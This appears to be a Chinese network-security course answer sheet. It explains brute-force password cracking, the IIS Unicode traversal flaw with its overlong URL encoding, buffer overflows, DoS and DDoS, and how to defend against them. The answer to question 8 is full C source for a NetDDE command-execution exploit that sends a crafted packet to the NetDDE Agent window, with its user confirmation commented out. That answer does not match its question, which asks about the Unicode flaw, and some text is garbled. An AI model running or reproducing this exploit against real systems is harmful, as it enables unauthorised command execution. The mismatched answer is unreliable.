3、简述暴力攻击的原理。 暴力攻击如何破解操作系统的用户密码、 如何破解邮箱密码、如何破解 Word 文档的密码?针对暴力攻击应如何防御?
答:
暴力攻击的原理:黑客使用枚举的方法,使用运算能力较强的计算机,尝试每种可能的字符破解密码,这些字符包括大小写、数字和通配符等。字典文件为暴力破解提供了一条捷径,程序首先通过扫描得到系统的用户,然后利用字典中每一个密码来登录系统,看是否成功,如果成功则显示密码。
(1)破解电子邮箱密码,一个比较著名的工具软件是,黑雨—— POP3邮箱密码暴力破解器, 该软件分别对计 算机和网络环境进行优化的攻击算法 :深度算法,多线程深度算法, 广度算法和多线程广度算法。 该程序可以以每秒 50 到 100个密码的速度进行匹配。 防范这种暴力攻击, 可将密码的位数设置在 10 位以上,一般利用数字,字母和特殊字符的组合就可以有效地抵抗暴力攻击。
(2)使用工具软件, Advanced Office XP Password Recovery 可以快速破解 Word 文档密码。点击工具栏按钮“ Open file”,打开刚刚建立的 Word 文档,设置密码长度最短是一位,最长是三位,点击工具栏开始的图标,开始破解密码,大约两秒钟后,密码就被破解了。防范这种暴力攻击,可以加长密码。
(3)程序首先通过扫描得到系统的用户, 然后利用字典镇南关每一个密码来登录系统, 看是否成功, 如果成功则将密码显示。
4、简述 Unicode 漏洞的基本原理。
答:
漏洞描述:攻击者可通过 IE 浏览器远程运行被攻击计算机的 cmd.exe 文件,从而使该计算机的文件暴露,且可随意执行和更改文件。
Unicode 标准被很多软件开发者所采用,无论何种平台、程序或开发语言, Unicode 均为每个字符提供独一无二的序号,如向 IIS 服务器发出包括非法 Unicode UTF-8 序列的URL,攻击者可使服务器逐字“进入或退出”目录并执行任意程序,该攻击即称为目录转换攻击。
Unicode 用“ %2f”和“ %5c”分别代表“ /”和“ ”字符,但也可用“超长”序列来代替这些字符。“超长”序列是非法的 Unicode 表示符,如用“%c0%af”代表“ /”字符。由于 IIS 不对超长序列进行检查,因此在 URL 中添加超长的 Unicode 序列后,可绕过微软的安全检查,如在一个标记为可执行的文件夹发出该请求,攻击者即可在服务器上运行可执行文件。
6、简述缓冲区溢出攻击的原理。
答:
当目标操作系统收到了超过了它的能接收的最大信息量时,将发生缓冲区溢出。这些多余的数据使程序的缓冲区溢出,然后覆盖实际的程序数据。缓冲区溢出使目标系统的程序被修改,经过这种修改的结果将在系统上产生一个后门。最常见的手段是通过制造缓冲区溢出使程序运行一个用户 shell,再通过 shell 执行其他命令,如果该 shell 有管理员权限,就可以对系统进行任意操作。
7、简述拒绝服务的种类与原理。
答:
原理:凡是造成目标系统拒绝提供服务的攻击都称为 Dos 攻击,其目的是使目标计算机或网络无法提供正常的服务。
最常见的 DoS 攻击是计算机网络带宽攻击和连通性攻击。
(1)带宽攻击是以极大的通信量冲击网络,使网络所有可用的带宽都被消耗掉,最后导致合法用户的请求无法通过。
(2)连通性攻击指用大量的连接请求冲击计算机,最终导致计算机无法再处理合法用户的请求。
8、利用Unicode漏洞入侵一个目标计算机,更改Administrator密码为123456.
void NDDEError(UINT err)
{
char error[256];
NDdeGetErrorString(err,error,256);
MessageBox(NULL,error,"NetDDE error",MB_OK|MB_ICONSTOP|MB_SETFOREGROUND);
// exit(err);
}
void *BuildNetDDEPacket(const char *svShareName, const char* svCmdLine, int *pBufLen)
{
// Build NetDDE message
int cmdlinelen=strlen(svCmdLine);
int funkylen=0x18+strlen(svShareName)+1+cmdlinelen+1;
char *funky=(char *)malloc(funkylen);
if(funky==NULL) {
MessageBox(NULL,"Out of memory.","Memory error.",MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
return NULL;
}
funky[0x00]=(char)0xE1;
funky[0x01]=(char)0xDD;
funky[0x02]=(char)0xE1;
funky[0x03]=(char)0xDD; // 0xDDE1DDE1 (magic number)
funky[0x04]=(char)0x01;
funky[0x05]=(char)0x00;
funky[0x06]=(char)0x00;
funky[0x07]=(char)0x00; // 0x00000001 (?)
funky[0x08]=(char)0x01;
funky[0x09]=(char)0x00;
funky[0x0A]=(char)0x00;
funky[0x0B]=(char)0x00; // 0x00000001 (?)
funky[0x0C]=(char)0x05; // ShareModId
funky[0x0D]=(char)0x00;
funky[0x0E]=(char)0x00;
funky[0x0F]=(char)0x09;
funky[0x10]=(char)0x00;
funky[0x11]=(char)0x00;
funky[0x12]=(char)0x00;
funky[0x13]=(char)0x01;
funky[0x14]=(char)0xCC; // unused (?)
funky[0x15]=(char)0xCC;
funky[0x16]=(char)0xCC;
funky[0x17]=(char)0xCC;
memcpy(funky+0x18,svShareName,strlen(svShareName)+1); // Share name
memcpy(funky+0x18+strlen(svShareName)+1,svCmdLine,cmdlinelen+1); // Command line to execute
*pBufLen=funkylen;
return funky;
}
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance, LPSTR lpCmdLine,int nCmdShow)
{
// TODO: Place code here.
// Check command line
int cmdlinelen;
if(lpCmdLine==NULL || lpCmdLine[0]==‘\0‘) {
MessageBox(NULL,"Syntax is: netddmsg [-s sharename] ","Command line error.",MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
return -1;
}
cmdlinelen=strlen(lpCmdLine);
char *szShare=NULL;
char *szCmdLine=lpCmdLine;
if(strncmp(lpCmdLine,"-s",2)==0) {
szShare=lpCmdLine+2;
while ((*szShare)==‘ ‘)
szShare++;
char *szEnd=strchr(szShare,‘ ‘);
if(szEnd==NULL) {
MessageBox(NULL,"You must specify a command to run.","Command line error.",MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
return -1;
}
szCmdLine=szEnd+1;
*szEnd=‘\0‘;
}
// Get NetDDE Window
HWND hwnd=FindWindow("NDDEAgnt","NetDDE Agent");
if(hwnd==NULL) {
MessageBox(NULL,"Couldn‘t find NetDDE agent window","Error",MB_OK|MB_ICONSTOP|MB_SETFOREGROUND);
return -1;
}
// Get computer name
DWORD dwSize=256;
char svCompName[256];
GetComputerName(svCompName,&dwSize);
// Get list of shares to try
char *sharename,*sharenames;
if(szShare==NULL) {
// Try all shares
UINT err;
DWORD dwNumShares;
// deep check otgpdvt
err=NDdeShareEnum(svCompName,0,NULL,0,&dwNumShares,&dwSize);
if(err!=NDDE_NO_ERROR && err!=NDDE_BUF_TOO_SMALL) {
NDDEError(err);
}
sharenames=(char *)malloc(dwSize);
err=NDdeShareEnum(svCompName,0,(LPBYTE)sharenames,dwSize,&dwNumShares,&dwSize);
if(err!=NDDE_NO_ERROR) {
NDDEError(err);
}
} else {
// Try command line share
sharenames=(char *)malloc(strlen(szShare)+2);
memset(sharenames,‘0‘,strlen(szShare)+2);
strcpy(sharenames,szShare);
}
// Try all shares
for(sharename=sharenames;(*sharename)!=‘\0‘;sharename+=(strlen(sharename)+1)) {
// Ask user
if(szShare==NULL) {
char svPrompt[256];
_snprintf(svPrompt,256,"Try command through the ‘%s‘share?",sharename);
// if(MessageBox(NULL,svPrompt,"Confirmation",MB_YESNO|MB_ICONQUESTION|MB_SETFOREGROUND)==IDNO)
// continue;
}
// Get NetDDE packet
void *funky;
int funkylen;
funky=BuildNetDDEPacket(sharename, szCmdLine, &funkylen);
if(funky==NULL)
return -1;
// Perform CopyData
COPYDATASTRUCT cds;
cds.cbData=funkylen;
cds.dwData=0;
cds.lpData=(PVOID)funky;
SendMessage(hwnd,WM_COPYDATA,(WPARAM)hwnd,(LPARAM)&cds);
// Free memory
free(funky);
}
// Free memory
free(sharenames);
return 0;
}
9、简述DDos的特点,常用的攻击手段,以及如何防范
简述 DDos 的特点以及常用的攻击手段,如何防范?
答:
分布式拒绝服务攻击的特点是先使用一些典型的黑客入侵手段控制一些高带宽的服务器,然后在这些服务器上安装攻击进程,集数十台,数百台甚至上千台机器的力量对单一攻击目标实施攻击。在悬殊的带宽力量对比下,被攻击的主机会很快因不胜重负而瘫痪。分布式拒绝服务攻击技术发展十分迅速,由于其隐蔽性和分布性很难被识别和防御。
常用攻击手段及防范措施如下:
第一,破坏物理设备。这些物理设备包括:计算机、路由器、电源、冷却设备、网络配线室等。防范这种破坏的主要措施有:例行检查物理实体的安全;使用容错和冗余网络硬件的方法,必要时迅速实现物理设备切换,从而保证提供正常的应用服务。
第二,破坏配置文件。错误配置也会成为系统的安全隐患,这些错误配置常常发生在硬件装置、系统或应用程序中。如果攻击者侵入目标系统,更改了某些配置信息,目标系统很可能因配置不当而无法继续提供正常的服务。因此,管理员首先应该正确设置系统及相关软件的配置信息,并将这些敏感信息备份到软盘等安全介质上;利用 Tripwire 等工具的帮助及时发现配置文件的变化,并快速恢复这些配置信息保证系统和网络的正常运行。
第三,利用网络协议或系统的设计弱点和实现漏洞。 SYN flooding 攻击即是利用 TCP/IP 协议的设计弱点,即建立连接时的三次握手协议和该过程中资源的非对称分配,及 IP 欺骗。若要从根本上克服这些弱点,需要重新设计协议层,加入更多的安全控制机制。若要在现有的网络构架中弥补这些弱点,可以采取上面介绍的半通明网关或主动监视技术。
第四,消耗系统资源。系统资源包括 CPU 资源,内存资源,磁盘空间,网络带宽等,攻击者利用资源有限的特点,恶意消耗系统资源,使系统无法提供正常的服务。 Smurf,DDoS 等都属于该类型。随着攻击技术的日新月异,智能型协作型的攻击工具的不断开发,信息的可用性面临着更为严峻的考验。安全专家对此深感忧虑,因为一旦发动 DDoS 攻击,目前没有什么快速有效的解决办法。
另外,全球网络管理员要管理好自己的网络,可以采取下面这些行之有效的防范措施:
1)及时地给系统打补丁,设置正确的安全策略;
2)定期检查系统安全:检查是否被安装了 DDoS 攻击程序,是否存在后门等;
3)建立资源分配模型,设置阈值,统计敏感资源的使用情况;
4)优化路由器配置:
(1)配置路由器的外网卡,丢弃那些来自外部网而源 IP 地址具有内部网络地址的包;
(2)配置路由器的内网卡,丢弃那些即将发到外部网而源 IP 地址不具有内部网络地址的包;
(3)设置 TCP 拦截;
(4)限制 TCP 连接超时阈值;
(5)禁止 IP 广播包流入内部网络;
(6)禁止外出的 ICMP 不可达消息;
5)由于攻击者掩盖行踪的手段不断加强,很难在系统级的日志文件中寻找到蛛丝马迹。因此,第三方的日志分析系统能够帮助管理员更容易地保留线索,顺藤摸瓜,将肇事者绳之以法;
6)使用 DNS 来跟踪匿名攻击;
7)对于重要的 WEB 服务器,为一个域名建立多个镜像主机。